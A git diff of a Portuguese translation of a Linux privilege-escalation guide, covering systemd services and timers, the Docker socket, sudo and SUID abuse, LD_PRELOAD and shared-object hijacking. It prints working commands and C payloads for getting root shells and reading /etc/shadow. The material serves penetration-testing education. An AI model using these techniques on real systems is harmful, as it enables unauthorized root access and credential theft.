usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **write** em qualquer uma das pastas do caminho, talvez consiga **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: +Se você descobrir que pode **write** em qualquer uma das pastas do caminho, você pode ser capaz de **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta PATH do systemd que você conseguir escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem start/stop services, mas verifique se você pode usar `sudo -l`). +Então, crie um **executable** com o **mesmo nome que o binário do caminho relativo** dentro da pasta do PATH do systemd que você possa escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), o seu **backdoor será executado** (usuários sem privilégios normalmente não conseguem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). -**Saiba mais sobre services com `man systemd.service`.** +**Saiba mais sobre serviços com `man systemd.service`.** ## **Timers** -**Timers** são systemd unit files cujo nome termina em `**.timer**` que controlam `**.service**` files ou eventos. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. +**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois possuem suporte nativo para eventos de tempo em calendário e eventos de tempo monotônico, e podem ser executados assincronamente. Você pode enumerar todos os timers com: ```bash @@ -439,57 +439,58 @@ systemctl list-timers --all ``` ### Timers graváveis -Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como um `.service` ou um `.target`) +Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes do systemd.unit (como uma `.service` ou uma `.target`) ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que é a Unit: +Na documentação você pode ler o que é a Unidade: -> A unit a ser ativada quando este timer expira. O argumento é um nome de unit, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome da timer unit, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unit que é ativada e o nome da timer unit sejam idênticos, exceto pelo sufixo. +> A unidade a ser ativada quando este timer expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, esse valor passa a ser, por padrão, um service que tenha o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. Portanto, para abusar dessa permissão você precisaria: -- Encontrar alguma systemd unit (como um `.service`) que esteja **executando um binário gravável** -- Encontrar alguma systemd unit que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **systemd PATH** (para se passar por esse executável) +- Encontre alguma systemd unit (como uma `.service`) que esteja **executando um binário gravável** +- Encontre alguma systemd unit que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **systemd PATH** (para se passar por esse executável) -**Saiba mais sobre timers com `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** ### **Ativando Timer** -Para habilitar um timer você precisa de privilégios de root e executar: +Para ativar um timer você precisa de privilégios root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` +Note que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem **comunicação entre processos** na mesma ou em diferentes máquinas dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas em resumo são usadas para **indicar onde irá escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta a ser escutada, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é gerada para cada conexão de entrada** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade service iniciada**, e apenas uma unidade service é iniciada para todas as conexões. Esse valor é ignorado para sockets datagrama e FIFOs, onde uma única unidade service lida incondicionalmente com todo o tráfego de entrada. **Padrão: false**. Por razões de performance, é recomendado escrever novos daemons apenas de forma adequada para `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** dos **sockets**/FIFOs de escuta serem **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: **Comandos** adicionais que são **executados antes** ou **depois** dos **sockets**/FIFOs de escuta serem **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade **service** a **ativar** em **tráfego de entrada**. Essa configuração só é permitida para sockets com Accept=no. Por padrão, aponta para o service que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta para escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é criada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta em si são **passados para a unit de service iniciada**, e apenas uma unit de service é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unit de service lida incondicionalmente com todo o tráfego entrante. **Padrão: false**. Por motivos de desempenho, é recomendado escrever novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: **Comandos** adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unit de **service** **a ativar** no **tráfego entrante**. Essa configuração só é permitida para sockets com Accept=no. Por padrão aponta para o service que possui o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não é necessário usar essa opção. -### Arquivos `.socket` graváveis +### Writable .socket files -Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando aquela configuração de arquivo socket ou o backdoor não será executado_ +Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +_Observe que o sistema deve estar usando aquela configuração de arquivo socket ou o backdoor não será executado_ -### Sockets graváveis +### Writable sockets -Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. -### Enumerate Unix Sockets +### Enumerar Sockets Unix ```bash netstat -a -p --unix ``` -### Conexão bruta +### Conexão raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -507,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -Note que pode haver alguns **sockets listening for HTTP** requests (_não me refiro aos arquivos .socket, mas aos arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que pode haver alguns **sockets ouvindo requisições HTTP** (_não estou falando sobre arquivos .socket, mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit some vulnerability**. +Se o socket **responder a uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. -### Socket do Docker Gravável +### Docker socket gravável -O socket do Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos se o Docker CLI não estiver disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à escalada de privilégios. Aqui está um detalhamento de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. -#### **Privilege Escalation with Docker CLI** +#### **Escalada de privilégios com Docker CLI** -Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, pode escalar privilégios usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Esses comandos permitem executar um container com acesso root ao sistema de arquivos do host. +Estes comandos permitem executar um container com acesso root ao sistema de arquivos do host. -#### **Usando a API do Docker Diretamente** +#### **Usando a Docker API diretamente** -Quando o Docker CLI não estiver disponível, o Docker socket ainda pode ser manipulado usando a API do Docker e comandos `curl`. +Em casos em que o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a Docker API e comandos `curl`. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Recupere a lista de imagens disponíveis. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Inicie o container recém-criado: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Use `socat` para estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,31 +559,31 @@ Connection: Upgrade Upgrade: tcp ``` -Depois de estabelecer a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. +Após estabelecer a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. ### Outros -Observe que, se você tem permissões de escrita sobre o docker socket porque está **no grupo `docker`**, você tem [**mais formas de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API estiver escutando em uma porta** você também poderá comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tem permissões de escrita sobre o docker socket porque está **inside the group `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Confira **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: +Verifique **mais formas de escapar do docker ou abusá-lo para elevar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) escalada de privilégios +## Containerd (ctr) elevação de privilégios -Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para elevar privilégios**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** escalada de privilégios +## **RunC** elevação de privilégios -Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para elevar privilégios**: {{#ref}} @@ -591,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado sistema de Comunicação Inter-Processos (IPC) que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado sistema de Comunicação entre Processos (IPC) que permite que aplicações interajam de forma eficiente e compartilhem dados. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscente de **sockets de domínio UNIX aprimorados**. Além disso, auxilia na transmissão de eventos ou sinais, favorecendo a integração suave entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, D-Bus oferece um sistema de objetos remotos, simplificando pedidos de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, remetendo a **enhanced UNIX domain sockets**. Além disso, auxilia na transmissão de eventos ou sinais, promovendo integração fluida entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um reprodutor de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, agilizando processos que eram tradicionalmente complexos. -O D-Bus opera num **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo das regras de política correspondentes. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios através da exploração dessas permissões. +O D-Bus opera em um modelo **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, podendo permitir elevação de privilégios por meio da exploração dessas permissões. Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado aplicam-se universalmente, enquanto políticas de contexto "default" aplicam-se a todos não cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas com contexto "default" se aplicam a todos não cobertos por outras políticas específicas. ```xml @@ -651,15 +652,15 @@ Sempre verifique os serviços de rede em execução na máquina com os quais voc ``` ### Sniffing -Verifique se você pode sniff tráfego. Se conseguir, poderá capturar algumas credentials. +Verifique se você pode sniff traffic. Se puder, poderá capturar algumas credentials. ``` timeout 1 tcpdump ``` -## Users +## Usuários -### Generic Enumeration +### Enumeração Genérica -Verifique **who** você é, quais **privileges** você tem, quais **users** estão nos sistemas, quais podem fazer **login** e quais têm **root privileges**: +Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **privilégios de root**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,21 +682,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID alto +### Big UID -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Grupos +### Groups -Verifique se você é **membro de algum grupo** que possa lhe conceder privilégios de root: +Verifique se você é **membro de algum grupo** que possa conceder privilégios de root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Área de transferência +### Clipboard Verifique se há algo interessante na área de transferência (se possível) ```bash @@ -714,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuário** usando a senha. +Se você **souber alguma senha** do ambiente, **tente fazer login como cada usuário** usando essa senha. ### Su Brute -Se não se importa em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force em usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force em usuários. +Se não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar fazer brute-force nos usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. ## Abusos de PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios ao **criar um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever em alguma pasta do $PATH** pode ser capaz de escalar privilégios criando um backdoor dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado a partir de uma pasta situada antes** da sua pasta gravável no $PATH. -### SUDO e SUID +### SUDO and SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o suid bit. Verifique usando: +Você pode estar autorizado a executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: +Alguns **comandos inesperados permitem que você leia e/ou grave arquivos ou até execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,31 +746,31 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. +A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem precisar conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo, o usuário `demo` pode executar `vim` como `root`. Agora é trivial obter um shell adicionando uma ssh key ao diretório root ou chamando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma ssh key no diretório `root` ou executando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta diretiva permite ao usuário **definir uma variável de ambiente** enquanto executa algo: +Esta diretiva permite ao usuário **definir uma variável de ambiente** ao executar algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** a **PYTHONPATH hijacking**, permitindo carregar uma biblioteca Python arbitrária ao executar o script como root: +Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Caminhos para contornar a execução do sudo +### Sudo — contornando caminhos de execução -**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou use **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -779,22 +780,22 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se um **wildcard** for usado (\*), é ainda mais fácil: +Se um **wildcard** for usado (\*), fica ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando sudo/Binário SUID sem caminho do comando +### Sudo command/SUID binary without command path -Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH +Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-lo alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Essa técnica também pode ser usada se um **suid** binário **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). +Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. [Payload examples to execute.](payloads-to-execute.md) @@ -802,23 +803,23 @@ Essa técnica também pode ser usada se um **suid** binário **executa outro com Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chamar o binário suid, essa função será executada +Então, quando você chamar o suid binary, esta função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais shared libraries (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a standard C library (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente com executáveis **suid/sgid**, o sistema aplica certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: -- O loader desconsidera **LD_PRELOAD** para executáveis onde o ID real do usuário (_ruid_) não coincide com o ID efetivo do usuário (_euid_). +- O loader ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). - Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -A elevação de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +Escalada de privilégio pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` @@ -840,12 +841,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** em execução +Finalmente, **escalate privileges** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc semelhante pode ser abusado se o atacante controlar a **LD_LIBRARY_PATH** env variable porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -867,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Quando encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere potencial para exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. -Para explorar isso, crie um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, deve-se criar um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -884,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando as permissões de arquivos e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, pretende elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. -Compile o arquivo C acima em um shared object (.so) com: +Compile o arquivo C acima em um objeto compartilhado (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo um possível comprometimento do sistema. +Por fim, executar o binário SUID afetado deve acionar o exploit, permitindo o comprometimento potencial do sistema. ## Shared Object Hijacking ```bash @@ -902,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um SUID binary carregando uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: +Agora que encontramos um SUID binary que carrega uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -923,9 +924,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições locais de segurança. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto reúne funcionalidades legítimas de binários Unix que podem ser abusadas para break out restricted shells, escalar ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritas, escalar ou manter privilégios elevados, transferir arquivos, spawn de bind e reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -944,24 +945,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você puder acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma forma de explorar alguma regra do sudo. +Se você puder executar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra maneiras de explorar alguma regra do sudo. ### Reutilizando tokens do sudo -Em casos em que você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token da sessão. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -Requisitos para escalar 